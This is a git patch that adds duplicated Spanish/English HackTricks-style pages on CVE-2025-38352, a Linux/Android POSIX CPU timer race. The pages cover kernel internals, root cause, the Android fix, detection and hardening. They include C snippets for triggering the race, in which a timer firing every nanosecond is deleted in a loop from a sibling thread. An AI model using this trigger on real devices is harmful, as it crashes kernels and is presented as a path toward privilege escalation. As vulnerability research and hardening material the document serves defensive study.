From 017d44e64be6d3a5d30f27359717e04b4f5bba7e Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 00:43:06 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu --- src/SUMMARY.md | 2 + .../posix-cpu-timers-toctou-cve-2025-38352.md | 195 ++++++++++++++++++ .../posix-cpu-timers-toctou-cve-2025-38352.md | 195 ++++++++++++++++++ 3 files changed, 392 insertions(+) create mode 100644 src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md create mode 100644 src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9200053c6..3e41d9a7b 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -937,3 +937,5 @@ - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) - [Cookies Policy](todo/cookies-policy.md) + + - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) \ No newline at end of file diff --git a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..9848c8487 --- /dev/null +++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,195 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +Esta página documenta una TOCTOU race en Linux/Android POSIX CPU timers que puede corromper el estado del timer y provocar el crash del kernel, y bajo ciertas circunstancias puede dirigirse hacia privilege escalation. + +- Componente afectado: kernel/time/posix-cpu-timers.c +- Primitiva: expiry vs deletion race under task exit +- Dependiente de la configuración: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) + +Breve repaso interno (relevante para exploitation) +- Tres relojes de CPU impulsan el accounting de los timers vía cpu_clock_sample(): +- CPUCLOCK_PROF: utime + stime +- CPUCLOCK_VIRT: utime only +- CPUCLOCK_SCHED: task_sched_runtime() +- La creación del timer enlaza un timer a una tarea/pid e inicializa los nodos de timerqueue: +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { +struct pid *pid; +rcu_read_lock(); +pid = pid_for_clock(new_timer->it_clock, false); +if (!pid) { rcu_read_unlock(); return -EINVAL; } +new_timer->kclock = &clock_posix_cpu; +timerqueue_init(&new_timer->it.cpu.node); +new_timer->it.cpu.pid = get_pid(pid); +rcu_read_unlock(); +return 0; +} +``` +- Arming inserta entradas en una per-base timerqueue y puede actualizar la next-expiry cache: +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { +struct posix_cputimer_base *base = timer_base(timer, p); +struct cpu_timer *ctmr = &timer->it.cpu; +u64 newexp = cpu_timer_getexpires(ctmr); +if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; +if (newexp < base->nextevt) base->nextevt = newexp; +} +``` +- La ruta rápida evita el procesamiento costoso a menos que las expiraciones en caché indiquen una posible activación: +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { +struct posix_cputimers *pct = &tsk->posix_cputimers; +if (!expiry_cache_is_inactive(pct)) { +u64 samples[CPUCLOCK_MAX]; +task_sample_cputime(tsk, samples); +if (task_cputimers_expired(samples, pct)) +return true; +} +return false; +} +``` +- Expiration recopila timers expirados, los marca como disparados, los mueve fuera de la cola; la entrega real se difiere: +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, +struct list_head *firing, u64 now) { +struct timerqueue_node *next; int i = 0; +while ((next = timerqueue_getnext(head))) { +struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); +u64 expires = cpu_timer_getexpires(ctmr); +if (++i == MAX_COLLECTED || now < expires) return expires; +ctmr->firing = 1; // critical state +rcu_assign_pointer(ctmr->handling, current); +cpu_timer_dequeue(ctmr); +list_add_tail(&ctmr->elist, firing); +} +return U64_MAX; +} +``` +Dos modos de procesamiento de expiración +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: la expiración se difiere mediante task_work en la tarea objetivo +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: la expiración se maneja directamente en el contexto de IRQ +```c +void run_posix_cpu_timers(void) { +struct task_struct *tsk = current; +__run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; +tsk->posix_cputimers_work.scheduled = true; +task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +lockdep_posixtimer_enter(); +handle_posix_cpu_timers(tsk); // IRQ-context path +lockdep_posixtimer_exit(); +} +#endif +``` +En la ruta IRQ-context, la firing list se procesa fuera de sighand +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { +struct k_itimer *timer, *next; unsigned long flags, start; +LIST_HEAD(firing); +if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit +do { +start = READ_ONCE(jiffies); barrier(); +check_thread_timers(tsk, &firing); +check_process_timers(tsk, &firing); +} while (!posix_cpu_timers_enable_work(tsk, start)); +unlock_task_sighand(tsk, &flags); // race window opens here +list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { +int cpu_firing; +spin_lock(&timer->it_lock); +list_del_init(&timer->it.cpu.elist); +cpu_firing = timer->it.cpu.firing; // read then reset +timer->it.cpu.firing = 0; +if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); +rcu_assign_pointer(timer->it.cpu.handling, NULL); +spin_unlock(&timer->it_lock); +} +} +``` +Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit +Preconditions +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) +- The target task is exiting but not fully reaped +- Another thread concurrently calls posix_cpu_timer_del() for the same timer + +Sequence +1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. +2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. +3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. +4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). +5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. + +Why TASK_WORK mode is safe by design +- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. +- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent. + +Fix (Android common kernel) and rationale +- Add an early return if current task is exiting, gating all processing: +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) +return; +``` +- Esto evita entrar en handle_posix_cpu_timers() para tareas que están saliendo, eliminando la ventana donde posix_cpu_timer_del() podría pasar por alto it.cpu.firing y race con el procesamiento de expiración. + +Impact +- La corrupción de memoria del kernel de las timer structures durante la expiración/eliminación concurrente puede provocar fallos inmediatos (DoS) y es una primitiva potente hacia privilege escalation debido a las oportunidades de manipular arbitrariamente el estado del kernel. + +Triggering the bug (safe, reproducible conditions) +Build/config +- Asegúrate de CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n y usa un kernel sin el fix de gating de exit_state. + +Runtime strategy +- Apunta a un hilo que esté a punto de salir y adjunta un CPU timer a él (reloj por hilo o a nivel de proceso): +- Para por-hilo: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) +- Para a nivel de proceso: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Arma el timer con una expiración inicial muy corta y un intervalo pequeño para maximizar las entradas en la ruta IRQ-path: +```c +static timer_t t; +static void setup_cpu_timer(void) { +struct sigevent sev = {0}; +sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race +sev.sigev_signo = SIGUSR1; +if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); +struct itimerspec its = {0}; +its.it_value.tv_nsec = 1; // fire ASAP +its.it_interval.tv_nsec = 1; // re-fire +if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` +- Desde un hilo hermano, eliminar concurrentemente el mismo temporizador mientras el hilo objetivo termina: +```c +void *deleter(void *arg) { +for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` +- Amplificadores de race: alta tasa de ticks del scheduler, carga de CPU elevada, ciclos repetidos de salida/recreación de hilos. El crash típicamente se manifiesta cuando posix_cpu_timer_del() deja de notar el firing debido a que falla la búsqueda/bloqueo de la tarea justo después de unlock_task_sighand(). + +Detección y endurecimiento +- Mitigación: aplicar el guard exit_state; preferir habilitar CONFIG_POSIX_CPU_TIMERS_TASK_WORK cuando sea posible. +- Observabilidad: añadir tracepoints/WARN_ONCE alrededor de unlock_task_sighand()/posix_cpu_timer_del(); alertar cuando se observe it.cpu.firing==1 junto con fallos en cpu_timer_task_rcu()/lock_task_sighand(); vigilar inconsistencias en timerqueue alrededor de la salida de la tarea. + +Puntos clave de auditoría (para revisores) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() selección (TASK_WORK vs IRQ path) +- collect_timerqueue(): establece ctmr->firing y mueve nodos +- handle_posix_cpu_timers(): suelta sighand antes del bucle de firing +- posix_cpu_timer_del(): depende de it.cpu.firing para detectar expiración en vuelo; esta comprobación se omite cuando la búsqueda/bloqueo de la tarea falla durante exit/reap + +Notas para investigación de explotación +- El comportamiento divulgado es una primitiva fiable para provocar crash del kernel; convertirla en una escalada de privilegios suele requerir una superposición adicional controlable (object lifetime o influencia write-what-where) que queda fuera del alcance de este resumen. Trate cualquier PoC como potencialmente desestabilizadora y ejecútela solo en emuladores/VMs. + +## References +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md new file mode 100644 index 000000000..cdd9ed63a --- /dev/null +++ b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md @@ -0,0 +1,195 @@ +# POSIX CPU Timers TOCTOU race (CVE-2025-38352) + +{{#include ../../../banners/hacktricks-training.md}} + +Esta página documenta una condición de carrera TOCTOU en los POSIX CPU timers de Linux/Android que puede corromper el estado del temporizador y provocar un crash del kernel, y que en algunas circunstancias puede dirigirse hacia una escalada de privilegios. + +- Componente afectado: kernel/time/posix-cpu-timers.c +- Primitiva: expiry vs deletion race bajo task exit +- Dependiente de la configuración: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) + +Breve repaso de internals (relevante para la explotación) +- Tres relojes de CPU impulsan la contabilidad para los timers vía cpu_clock_sample(): +- CPUCLOCK_PROF: utime + stime +- CPUCLOCK_VIRT: utime only +- CPUCLOCK_SCHED: task_sched_runtime() +- La creación del timer enlaza un timer a una task/pid e inicializa los nodos de timerqueue: +```c +static int posix_cpu_timer_create(struct k_itimer *new_timer) { +struct pid *pid; +rcu_read_lock(); +pid = pid_for_clock(new_timer->it_clock, false); +if (!pid) { rcu_read_unlock(); return -EINVAL; } +new_timer->kclock = &clock_posix_cpu; +timerqueue_init(&new_timer->it.cpu.node); +new_timer->it.cpu.pid = get_pid(pid); +rcu_read_unlock(); +return 0; +} +``` +- Arming inserta en un per-base timerqueue y puede actualizar la next-expiry cache: +```c +static void arm_timer(struct k_itimer *timer, struct task_struct *p) { +struct posix_cputimer_base *base = timer_base(timer, p); +struct cpu_timer *ctmr = &timer->it.cpu; +u64 newexp = cpu_timer_getexpires(ctmr); +if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; +if (newexp < base->nextevt) base->nextevt = newexp; +} +``` +- La ruta rápida evita el procesamiento costoso a menos que las expiraciones en caché indiquen una posible activación: +```c +static inline bool fastpath_timer_check(struct task_struct *tsk) { +struct posix_cputimers *pct = &tsk->posix_cputimers; +if (!expiry_cache_is_inactive(pct)) { +u64 samples[CPUCLOCK_MAX]; +task_sample_cputime(tsk, samples); +if (task_cputimers_expired(samples, pct)) +return true; +} +return false; +} +``` +- Expiración recopila timers expirados, los marca como activados, los mueve fuera de la cola; la entrega real se difiere: +```c +#define MAX_COLLECTED 20 +static u64 collect_timerqueue(struct timerqueue_head *head, +struct list_head *firing, u64 now) { +struct timerqueue_node *next; int i = 0; +while ((next = timerqueue_getnext(head))) { +struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); +u64 expires = cpu_timer_getexpires(ctmr); +if (++i == MAX_COLLECTED || now < expires) return expires; +ctmr->firing = 1; // critical state +rcu_assign_pointer(ctmr->handling, current); +cpu_timer_dequeue(ctmr); +list_add_tail(&ctmr->elist, firing); +} +return U64_MAX; +} +``` +Dos modos de procesamiento de expiraciones +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: la expiración se difiere vía task_work en la tarea objetivo +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: la expiración se maneja directamente en el contexto IRQ +```c +void run_posix_cpu_timers(void) { +struct task_struct *tsk = current; +__run_posix_cpu_timers(tsk); +} +#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; +tsk->posix_cputimers_work.scheduled = true; +task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); +} +#else +static inline void __run_posix_cpu_timers(struct task_struct *tsk) { +lockdep_posixtimer_enter(); +handle_posix_cpu_timers(tsk); // IRQ-context path +lockdep_posixtimer_exit(); +} +#endif +``` +En la ruta del contexto IRQ, la firing list se procesa fuera de sighand +```c +static void handle_posix_cpu_timers(struct task_struct *tsk) { +struct k_itimer *timer, *next; unsigned long flags, start; +LIST_HEAD(firing); +if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit +do { +start = READ_ONCE(jiffies); barrier(); +check_thread_timers(tsk, &firing); +check_process_timers(tsk, &firing); +} while (!posix_cpu_timers_enable_work(tsk, start)); +unlock_task_sighand(tsk, &flags); // race window opens here +list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { +int cpu_firing; +spin_lock(&timer->it_lock); +list_del_init(&timer->it.cpu.elist); +cpu_firing = timer->it.cpu.firing; // read then reset +timer->it.cpu.firing = 0; +if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); +rcu_assign_pointer(timer->it.cpu.handling, NULL); +spin_unlock(&timer->it_lock); +} +} +``` +Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit +Preconditions +- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) +- La tarea objetivo está saliendo pero no ha sido completamente liberada +- Otro hilo llama concurrentemente a posix_cpu_timer_del() para el mismo timer + +Sequence +1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task. +2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list. +3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock. +4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del(). +5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB. + +Why TASK_WORK mode is safe by design +- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur. +- Even then, if the task is already exiting, task_work_add() fails; conditioning on exit_state makes both modes consistent. + +Fix (Android common kernel) and rationale +- Añadir un retorno temprano si la tarea actual está saliendo, condicionando todo el procesamiento: +```c +// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) +if (tsk->exit_state) +return; +``` +- Esto evita entrar en handle_posix_cpu_timers() para tareas que están saliendo, eliminando la ventana donde posix_cpu_timer_del() podría pasar por alto it.cpu.firing y provocar una condición de carrera con el procesamiento de expiración. + +Impacto +- La corrupción de memoria del kernel en las estructuras de timer durante la expiración/eliminación concurrente puede provocar crashes inmediatos (DoS) y constituye un primitivo poderoso para la escalada de privilegios debido a las oportunidades de manipulación arbitraria del estado del kernel. + +Desencadenar el bug (condiciones seguras y reproducibles) +Build/config +- Asegúrese de CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n y use un kernel sin la corrección de gating de exit_state. + +Estrategia en tiempo de ejecución +- Apunte a un hilo que esté a punto de salir y adjúntele un CPU timer (por hilo o reloj por proceso): +- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) +- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) +- Actívelo con una expiración inicial muy corta y un intervalo pequeño para maximizar las entradas por IRQ-path: +```c +static timer_t t; +static void setup_cpu_timer(void) { +struct sigevent sev = {0}; +sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race +sev.sigev_signo = SIGUSR1; +if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); +struct itimerspec its = {0}; +its.it_value.tv_nsec = 1; // fire ASAP +its.it_interval.tv_nsec = 1; // re-fire +if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); +} +``` +- Desde un thread hermano, eliminar concurrentemente el mismo timer mientras el thread objetivo finaliza: +```c +void *deleter(void *arg) { +for (;;) (void)timer_delete(t); // hammer delete in a loop +} +``` +- Amplificadores de condiciones de carrera: alta tasa de ticks del scheduler, carga de CPU, ciclos repetidos de salida/recreación de hilos. El crash típicamente se manifiesta cuando posix_cpu_timer_del() deja de detectar el firing debido a un fallo en la búsqueda/bloqueo de la tarea justo después de unlock_task_sighand(). + +Detection and hardening +- Mitigation: aplicar el guard exit_state; preferir habilitar CONFIG_POSIX_CPU_TIMERS_TASK_WORK cuando sea factible. +- Observability: añadir tracepoints/WARN_ONCE alrededor de unlock_task_sighand()/posix_cpu_timer_del(); alertar cuando se observe it.cpu.firing==1 junto con fallos en cpu_timer_task_rcu()/lock_task_sighand(); vigilar inconsistencias en el timerqueue alrededor de la salida de la tarea. + +Audit hotspots (for reviewers) +- update_process_times() → run_posix_cpu_timers() (IRQ) +- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) +- collect_timerqueue(): sets ctmr->firing and moves nodes +- handle_posix_cpu_timers(): drops sighand before firing loop +- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap + +Notes for exploitation research +- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs. + +## Referencias +- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) +- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) +- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) + +{{#include ../../../banners/hacktricks-training.md}}